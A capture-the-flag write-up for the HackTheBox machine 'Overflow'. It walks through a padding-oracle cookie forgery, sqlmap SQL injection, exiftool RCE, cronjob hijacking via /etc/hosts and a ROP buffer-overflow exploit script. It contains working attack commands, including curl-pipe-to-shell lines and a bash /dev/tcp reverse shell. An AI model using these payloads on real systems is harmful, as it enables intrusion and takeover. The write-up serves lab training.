Overflow is a hard machine on HackTheBox created by Corruptedbl0ck. For the user part we will perform a padding oracle attack on the cookie of the website to gain access to the admin account. Admin has access to a logs feature which is vulnerable to sqli leading to the discovery of another vhost. There we can abuse a functionality for uploading images gaining RCE through exiftool. On the machine we will find credentials for the database reused for the developer user. Developer can read a script which gets run in a cronjob as the tester user, which we are able to abuse to get a reverse shell as tester. This user can run a SUID binary belonging to root which is vulnerable to a buffer overflow.
User
Nmap
As usual we start out enumeration with a nmap scan against all ports followed by a script and version detection scan to get an initial overview of the attack surface.
All ports
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.96.28
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-23 23:45 UTC
Nmap scan report for 10.129.96.28
Host is up (0.051s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 66.92 seconds
Script and version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sudo nmap -sC -sV -p22,25,80 10.129.96.28
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-23 23:46 UTC
Nmap scan report for 10.129.96.28
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 eb:7c:15:8f:f2:cc:d4:26:54:c1:e1:57:0d:d5:b6:7c (RSA)
| 256 d9:5d:22:85:03:de:ad:a0:df:b0:c3:00:aa:87:e8:9c (ECDSA)
|_ 256 fa:ec:32:f9:47:17:60:7e:e0:ba:b6:d1:77:fb:07:7b (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: overflow, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Overflow Sec
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: Host: overflow; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.24 seconds
Padding oracle
HTTP and SMTP seem the most interesting. Opening the the website in our browser we see the homepage of overflow security where we can register a user.
Playing with the cookie after signing up we see an interesting error message mentioning Invalid padding
when changing itโs value to something invalid.
The cookie is vulnerable to an oracle padding attack which letโs us decrypt the value of the cookie in a first run using padbuster with a valid authenticated cookie.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
$ padbuster http://overflow.htb g%2Bw7A9KF5m6lJbDY9WSBRqO%2FwK4vvZOx 8 -cookies auth=g%2Bw7A9KF5m6lJbDY9WSBRqO%2FwK4vvZOx -encoding 0
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 302
[+] Location: home/index.php
[+] Content Length: 12227
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 12227 N/A
2 ** 255 302 0 ../logout.php?err=1
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (162/256) [Byte 8]
[+] Success: (119/256) [Byte 7]
[+] Success: (11/256) [Byte 6]
[+] Success: (21/256) [Byte 5]
[+] Success: (140/256) [Byte 4]
[+] Success: (168/256) [Byte 3]
[+] Success: (104/256) [Byte 2]
[+] Success: (2/256) [Byte 1]
Block 1 Results:
[+] Cipher Text (HEX): a525b0d8f5648146
[+] Intermediate Bytes (HEX): f69f5e71eff68b5f
[+] Plain Text: user=sm1
Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***
[+] Success: (190/256) [Byte 8]
[+] Success: (122/256) [Byte 7]
[+] Success: (158/256) [Byte 6]
[+] Success: (12/256) [Byte 5]
[+] Success: (40/256) [Byte 4]
[+] Success: (52/256) [Byte 3]
[+] Success: (239/256) [Byte 2]
[+] Success: (63/256) [Byte 1]
Block 2 Results:
[+] Cipher Text (HEX): a3bfc0ae2fbd93b1
[+] Intermediate Bytes (HEX): c916caddf0618443
[+] Plain Text: l3z
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): user=sm1l3z
[+] Decrypted value (HEX): 757365723D736D316C337A0505050505
[+] Decrypted value (Base64): dXNlcj1zbTFsM3oFBQUFBQ==
-------------------------------------------------------
Registering an admin
user was unsuccessful meaning it might already exist. Knowing the scheme of the cookie we can use padbuster again with the -plaintext
flag to generate a valid cookie for admin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$ padbuster http://overflow.htb g%2Bw7A9KF5m6lJbDY9WSBRqO%2FwK4vvZOx 8 -cookies auth=g%2Bw7A9KF5m6lJbDY9WSBRqO%2FwK4vvZOx -encoding 0 -plaintext user=admin
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 302
[+] Location: home/index.php
[+] Content Length: 12227
INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 12227 N/A
2 ** 255 302 0 ../logout.php?err=1
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (196/256) [Byte 8]
[+] Success: (148/256) [Byte 7]
[+] Success: (92/256) [Byte 6]
[+] Success: (41/256) [Byte 5]
[+] Success: (218/256) [Byte 4]
[+] Success: (136/256) [Byte 3]
[+] Success: (150/256) [Byte 2]
[+] Success: (190/256) [Byte 1]
Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5a1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d
[+] Success: (1/256) [Byte 8]
[+] Success: (36/256) [Byte 7]
[+] Success: (180/256) [Byte 6]
[+] Success: (17/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (50/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (135/256) [Byte 1]
Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------
Exchanging our cookie for the generated one we are now logged in as admin and have access to the Logs
feature and the Admin Panel
.
SQLI
The Admin Panel seems to be a rabbit whole but inspecting the network tab we can see the page does a request to /home/logs.php?name=admin
.
Going there manually just displays a sequence of logs so we send the request to burp repeater to further inspect it.
Adding a '
to the value of the name parameter results in a server error which might mean the application is vulnerable to SQLI.
We replace the value of name
with *
as marker for sqlmap and save the request.
Running sqlmap on it it identifies the injection point rather quickly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ sqlmap -r logs.req
___
__H__
___ ___[']_____ ___ ___ {1.5.9#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:11:14 /2021-10-24/
[00:11:14] [INFO] parsing HTTP request from 'logs.req'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
...[snip]...
[00:11:29] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[00:11:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:11:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:11:43] [INFO] target URL appears to be UNION injectable with 3 columns
[00:11:43] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://overflow.htb:80/home/logs.php?name=') AND (SELECT 9796 FROM (SELECT(SLEEP(5)))hcfK) AND ('UNju'='UNju
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: http://overflow.htb:80/home/logs.php?name=') UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x524363496a5379716c4e5764595076635657616a4f6c6f7348714279794d6c77654c774d4c536e4e,0x7171627171)-- -
---
[00:11:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
...[snip]...
Enumerating the databases with the --dbs
flag there are three non default ones.
1
2
3
4
5
6
7
8
9
$ sqlmap -r logs.req --dbs
...[snip]...
available databases [4]:
[*] cmsmsdb
[*] information_schema
[*] logs
[*] Overflow
...[snip]...
Dumping everything from the cmsmsdb
we see an interesting message mentioning another vhost on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
$ sqlmap -r logs.req -D cmsmsdb --dump
...[snip]...
Database: cmsmsdb
Table: cms_userplugins
[1 entry]
+---------------+---------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-----------------+
| userplugin_id | code | create_date | description | modified_date | userplugin_name |
+---------------+---------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-----------------+
| 3 | echo "Make sure you check out devbuild-job.overflow.htb and report any UI related problems to devloper, use the editor account to authenticate."; | 2021-05-25 06:36:09 | Make sure you check out devbuild-job.overflow.htb and report any UI related problems to devloper, use the editor account to authenticate. | 2021-09-29 22:07:30 | Important |
+---------------+---------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-----------------+
...[snip]...
Exiftool RCE
Adding the vhost to our /etc/hosts
file and opening the page in our browser we see an Overflow Devbuild
website.
We donโt have any credentials to log into it but going to /home
, which was revealed by a gobuster scan, we are still able to access it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://devbuild-job.overflow.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://devbuild-job.overflow.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/10/24 00:23:56 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 290]
/.html (Status: 403) [Size: 290]
/.htm (Status: 403) [Size: 290]
/config (Status: 301) [Size: 339] [--> http://devbuild-job.overflow.htb/config/]
/home (Status: 301) [Size: 337] [--> http://devbuild-job.overflow.htb/home/]
/assets (Status: 301) [Size: 339] [--> http://devbuild-job.overflow.htb/assets/]
/. (Status: 200) [Size: 7487]
/.htaccess (Status: 403) [Size: 290]
Clicking on Account
there is an application where we can upload our resume in tiff/jpeg/jpg
format.
Uploading a valid picture and looking at the response in burp repeater we get the output of exiftool.
Looking around for vulnerabilities with exiftool this hackerone report seems to be interesting. It mentions that there is RCE possible when exiftool strips the metadata of a file by sending a specifically constructed DjVu
file. The report also features a zip with a template RCE file.
We open the zip and exchange {curl aw.rs/rsh|sh}
to our tun0 ip {curl 10.10.14.105|sh}
in the reverse_shell.jpg
.
Next we create the reverse shell we want to serve as index.html
start a python web server on port 80 and a ncat listener on the port we specified.
index.html
1
2
3
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.105/7575 0>&1'
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Right after we upload the โjpgโ we get a hit on our webserver and a shell as www-data on our ncat listener which we upgrade using python.
1
2
3
$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.96.28 - - [24/Oct/2021 00:35:58] "GET / HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.96.28.
Ncat: Connection from 10.129.96.28:58882.
bash: cannot set terminal process group (1162): Inappropriate ioctl for device
bash: no job control in this shell
www-data@overflow:~/devbuild-job/home/profile$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ile$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@overflow:~/devbuild-job/home/profile$ export TERM=xterm
export TERM=xterm
www-data@overflow:~/devbuild-job/home/profile$ ^Z
[1]+ Stopped nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575
www-data@overflow:~/devbuild-job/home/profile$ stty rows 55 cols 236
Database credentials
Looking around there are database credentials in the logs.php
file for the developer user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@overflow:~/html$ cat home/logs.php
<?php
require '../config/users.php';
if (isset($_COOKIE['auth'])){
$user = User::getuserfromcookie($_COOKIE['auth']);
}
if($user === 'admin'){
$lnk = mysqli_connect("localhost","developer", "sh@tim@n","logs");
$sql = "SELECT * FROM userlog WHERE username=('";
$sql.= $_GET["name"];
$sql.= "') ORDER BY Lastlogin;";
$result = mysqli_query($lnk,$sql);
while($row = $result->fetch_assoc()) {
echo " <div id='last'>Last login : " . $row["Lastlogin"] . "</div><br>";
}
}
else{
echo "Unauthorized!!";
}
?>
Testing the against ssh they were indeed reused and we are now logged in as developer.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ssh developer@overflow.htb
developer@overflow.htb's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-159-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Oct 24 06:08:12 IST 2021
System load: 0.0 Processes: 211
Usage of /: 51.8% of 5.84GB Users logged in: 2
Memory usage: 23% IP address for eth0: 10.129.96.28
Swap usage: 0%
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Oct 24 03:13:11 2021 from 10.10.14.105
-sh: 28: set: Illegal option -o history
-sh: 1: set: Illegal option -o history
$
Cronjob
There is an interesting script in /opt
belonging to the tester user. The script states it should be run every minute and performs a curl request to http://taskmanage.overflow.htb/task.sh
passing its content to bash.
1
2
3
4
5
6
7
developer@overflow:~$ cat /opt/commontask.sh
#!/bin/bash
#make sure its running every minute.
bash < <(curl -s http://taskmanage.overflow.htb/task.sh)
1
2
developer@overflow:~$ ls -la /opt/commontask.sh
-rwxr-x---+ 1 tester tester 109 May 28 08:47 /opt/commontask.sh
Looking at our groups we are part of the network group which is allowed to modify the /etc/hosts
file.
1
2
3
4
developer@overflow:~$ id
uid=1001(developer) gid=1001(developer) groups=1001(developer),1002(network)
developer@overflow:~$ ls -la /etc/hosts
-rwxrw-r-- 1 root network 201 Oct 24 06:00 /etc/hosts
Checking /etc/nsswitch.conf
we see /etc/hosts
is indeed used as means of resolving hostnames.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
developer@overflow:~$ cat /etc/nsswitch.conf
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.
passwd: compat systemd
group: compat systemd
shadow: compat
gshadow: files
hosts: files dns
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nis
This means we can simply add a hostname for taskmanage.overflow.htb
pointing to our ip where we serve a task.sh
on port 80 containing a reverse shell.
We copy the index.html
to task.sh
, start our python web server and ncat again.
task.sh
1
2
3
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.105/7575 0>&1'
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
1
2
$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
All that is left to do now is to add an entry to /etc/hosts
for taskmanage.overflow.htb
pointing to our tun0 ip.
1
developer@overflow:~$ echo -e '10.10.14.105\ttaskmanage.overflow.htb' >> /etc/hosts
After about a minute we get a reverse shell on our listener as tester which we upgrade and fix the terminal size. In testerโs home directory we also find the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.96.28.
Ncat: Connection from 10.129.96.28:59006.
bash: cannot set terminal process group (59471): Inappropriate ioctl for device
bash: no job control in this shell
tester@overflow:~$ python3 -c 'import pty;pty.spawn("/bin/bash")
python3 -c 'import pty;pty.spawn("/bin/bash")'
tester@overflow:~$ export TERM=xterm
export TERM=xterm
tester@overflow:~$ ^Z
[1]+ Stopped nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575
tester@overflow:~$ stty rows 55 cols 236
tester@overflow:~$ wc -c user.txt
33 user.txt
Root
To have a more stable shell we generate a ssh key pair, add the public key to testerโs authorized_keys file.
1
tester@overflow:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3JnZuhpJ4lef+irvWd7m4qU54pBDrJAFC235xQXL8z' >> .ssh/authorized_keys
Binexp
Pin
Checking for suid binaries on the system tester can run the custom looking /opt/file_encrypt/file_encrypt
which is owned by the root user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
tester@overflow:~$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/bin/ping
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/opt/file_encrypt/file_encrypt
1
2
tester@overflow:~$ ls -la /opt/file_encrypt/file_encrypt
-rwsr-xr-x 1 root root 11904 May 31 08:41 /opt/file_encrypt/file_encrypt
To have a closer look at it we scp it to our machine using the created private key and open it up in ghidra.
1
2
$ scp -i tester tester@overflow.htb:/opt/file_encrypt/file_encrypt .
file_encrypt
The main
function of the program calls the check_pin
function which contains all the functionality of the program. The program generates two random numbers without seeding the generator, then prints one to stdout, reads user input and compares that input with the second number. Since the generator is not seeded the random numbers will always be the same.
We can quickly check for the expected number using gdb. We load the binary set a breakpoint at the check_pin
function and run it.
1
2
3
4
5
6
7
$ gdb -q ./file_encrypt
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./file_encrypt...
(No debugging symbols found in ./file_encrypt)
pwndbg> b check_pin
pwndbg> r
After hitting the breakpoint we disassemble the function and set another breakpoint where it compares the number with the user input right after the first scanf
instruction.
1
2
3
4
5
6
7
8
pwndbg> disass check_pin
...[snip]...
0x56555afe <+78>: call 0x565556c0 <__isoc99_scanf@plt>
0x56555b03 <+83>: add esp,0x10
0x56555b06 <+86>: mov eax,DWORD PTR [ebp-0x14]
0x56555b09 <+89>: cmp DWORD PTR [ebp-0x10],eax
0x56555b0c <+92>: jne 0x56555b4a <check_pin+154>
...[snip]...
1
2
3
4
5
6
7
8
pwndbg> b *0x56555b09
Breakpoint 2 at 0x56555b09
pwndbg> c
Continuing.
This is the code 1804289383. Enter the Pin: 1
Breakpoint 2, 0x56555b09 in check_pin ()
...[snip]...
Examining the value it compares we first have to convert it to an unsigned integer, which we can quickly do with python.
1
2
pwndbg> x/xw $ebp-0x10
0xffffce18: 0xf3e6d338
1
2
3
4
5
6
7
8
$ python
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from bitstring import BitArray
>>> b = BitArray('0xf3e6d338')
>>> b.int
-202976456
Running the binary we can quickly verify that the pin is correct.
1
2
3
$ ./file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name:
BOF
Inspecting the next part in ghidra we see it scans a string without length specifier into a char array of length 20, which makes it vulnerable to a buffer overflow.
Checking protections on the binary we see that NX
is enabled meaning the stack is not executable and we will use a ROP approach to the binary.
1
2
3
4
5
6
7
$ checksec ./file_encrypt
[*] '/home/jack/htb/boxes/overflow/exploit/file_encrypt'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Interestingly ASLR is disabled on the machine, so the addresses in libc will be the same every run.
1
2
tester@overflow:~$ cat /proc/sys/kernel/randomize_va_space
0
To get the necessary gadgets we check the used libc using ldd
and download it to our machine with scp.
1
2
3
4
tester@overflow:~$ ldd /opt/file_encrypt/file_encrypt
linux-gate.so.1 (0xf7fd4000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7de5000)
/lib/ld-linux.so.2 (0xf7fd6000)
1
2
$ scp -i tester tester@overflow.htb:/lib/i386-linux-gnu/libc.so.6 .
libc.so.6
First we need to find the offset to overwrite eip. We can do this using pwndbg
โs builtin cyclic
functionality which identifies the offset to eip overwrite at 44 bytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ gdb -q ./file_encrypt
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./file_encrypt...
(No debugging symbols found in ./file_encrypt)
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> r
Starting program: /home/jack/htb/boxes/overflow/exploit/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
...[snip]...
EBX 0x6161616a ('jaaa')
ECX 0xffffffff
EDX 0xffffffff
EDI 0xf7f93000 (_GLOBAL_OFFSET_TABLE_) โโ 0x1e4d6c
ESI 0xf7f93000 (_GLOBAL_OFFSET_TABLE_) โโ 0x1e4d6c
EBP 0x6161616b ('kaaa')
ESP 0xffffce30 โโ 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
EIP 0x6161616c ('laaa')
...[snip]...
pwndbg> cyclic -l 0x6161616c
44
Next we need the gadgets to perform the ROP. The plan is to set the user id to 0 and then call /bin/sh
. For the setuid
part we will need system
, and a pop edi; ret;
.
The offset for system
and setuid
can be found using objdump
on the target libc. To find the pop edi; ret;
ropper can be used with the --search
flag.
1
2
3
$ objdump -TC ./libc.so.6 | grep system
...[snip]...
0003d2e0 w DF .text 00000037 GLIBC_2.0 system
1
2
$ objdump -TC ./libc.so.6 | grep setuid
000bff10 w DF .text 0000008c GLIBC_2.0 setuid
1
2
3
4
5
6
7
8
$ ropper -f ./libc.so.6 --search 'pop edi; ret;'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop edi; ret;
[INFO] File: ./libc.so.6
0x0001869b: pop edi; ret;
For the second part we need system
again, exit
and the string /bin/sh
. To get the offset of exit
objdump works well again and to get the string /bin/sh
the strings command is usefull.
1
2
3
4
$ objdump -TC ./libc.so.6 | grep exit
...[snip]...
000304b0 g DF .text 00000021 GLIBC_2.0 exit
...[snip]...
1
2
$ strings -a -t x ./libc.so.6 | grep '/bin/sh'
17e0af /bin/sh
The last thing for our script we need is the base address of libc which will always be the same on the target because of disabled ASLR. We can obtain the address using gdb
on the target machine, breaking anywhere and looking at the proc mapping.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tester@overflow:~$ gdb -q /opt/file_encrypt/file_encrypt
Reading symbols from /opt/file_encrypt/file_encrypt...(no debugging symbols found)...done.
(gdb) b check_pin
Breakpoint 1 at 0xab4
(gdb) r
Starting program: /opt/file_encrypt/file_encrypt
Breakpoint 1, 0x56555ab4 in check_pin ()
(gdb) info proc map
process 68136
Mapped address spaces:
Start Addr End Addr Size Offset objfile
...[snip]...
0xf7de9000 0xf7fbe000 0x1d5000 0x0 /lib/i386-linux-gnu/libc-2.27.so
...[snip]...
The final script looks like this. It starts a ssh session to the target with out previously generated private key. In that session it starts the target binary file_encrypt
. We then send the pin followed by the payload after recieving again. The payload setโs the user id to 0 first and then executes /bin/sh
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
session = ssh(user='tester',host='overflow.htb',keyfile='./tester')
io = session.process('/opt/file_encrypt/file_encrypt')
libc = 0xf7de9000
offset = 44
pin = b'-202976456'
system = p32(libc + 0x0003d2e0)
setuid = p32(libc + 0x000bff10)
popedi = p32(libc + 0x0001869b)
exit = p32(libc + 0x000304b0)
binsh = p32(libc + 0x0017e0af)
payload = b''
payload += b'A' * offset
payload += system
payload += setuid
payload += popedi
payload += p32(0x0)
payload += system
payload += exit
payload += binsh
io.recvrepeat(0.5)
io.sendline(pin)
io.recvrepeat(0.5)
io.sendline(payload)
io.interactive()
Running the exploit we get a connection as root and are able to add the root flag to our collection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ python exploit.py
[+] Connecting to overflow.htb on port 22: Done
[*] tester@overflow.htb:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Disabled
[+] Starting remote process bytearray(b'/opt/file_encrypt/file_encrypt') on overflow.htb: pid 69264
[*] Switching to interactive mode
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
sh: 1: _\xc3\xc3f\x90\xe8$\xec\x11 not found
# $ id
uid=0(root) gid=1000(tester) groups=1000(tester)
# $ wc -c /root/root.txt
33 /root/root.txt